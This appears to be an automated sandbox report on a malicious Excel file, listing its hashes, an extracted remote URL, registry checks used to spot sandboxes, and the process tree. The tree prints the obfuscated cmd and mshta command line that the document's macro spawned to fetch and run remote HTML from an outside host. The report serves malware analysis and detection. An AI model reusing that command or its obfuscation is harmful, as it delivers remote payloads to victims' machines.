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Analysis
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max time kernel
133s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11/11/2024, 21:37
Behavioral task
behavioral1
Sample
da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls
Resource
win10v2004-20241007-en
General
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Target
da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls
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Size
116KB
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MD5
6725e5a3891abc0f348fdcbcd3feeba5
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SHA1
652fb97845a5e65682768c2bf7e7165ee241b810
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SHA256
da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e
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SHA512
7fbb462ae74c2ee11a4e527e17192dccb9dcac8b6e0cef0a18dc8b7ec69f411d4e4b772f67ea756e6139162b908334755228ee2f187c53a49fdf3e42a40b04ef
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SSDEEP
3072:Ee+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIhxe53lGvFTQ3IzxgdrvxpU0f:r+nBqmKk3hbdlylKsgqopeJBWhZFVE+j
Malware Config
Extracted
http://185.7.214.7/fer/fe6.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2568 2420 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 23 4948 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2420 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE 2420 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2420 wrote to memory of 2568 2420 EXCEL.EXE 87 PID 2420 wrote to memory of 2568 2420 EXCEL.EXE 87 PID 2568 wrote to memory of 4948 2568 cmd.exe 89 PID 2568 wrote to memory of 4948 2568 cmd.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2420 -
C:\Windows\SYSTEM32\cmd.execmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe6.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe6.html3⤵
- Blocklisted process makes network request
PID:4948
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize667B
MD573420927d3b6358445db12d75ab95d1a
SHA17a16c2618772d83a7528edded2c38b7db87640e3
SHA256867e4a17d03d7e7005e65225de1681c28354318086c1f86068c697729104dd38
SHA5123a146b3d014b189feea1d81ff3b4619ab40d4cf0bda93a50d9c982f02b0eb3945fff646cd955eff530f4a36a52fb71d3bd078ca6525b44e1011c063c362935ed